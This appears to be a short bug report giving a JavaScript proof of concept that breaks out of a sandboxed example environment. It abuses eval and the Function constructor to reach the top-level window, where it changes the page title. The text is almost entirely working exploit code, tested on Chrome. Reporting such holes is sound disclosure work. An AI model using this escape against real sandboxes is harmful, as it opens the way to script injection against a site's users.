You can break out of the example via: ```JS function loop(g){ try{ g["eval"]('1'); }catch(e){ return e; } return loop(g); } loop(this); const e = eval; const f = e('Function') f('return window')().top.document.title = "Oh No" ``` Tested on Chrome Version 76.0.3809.132 (Official Build) (64-Bit)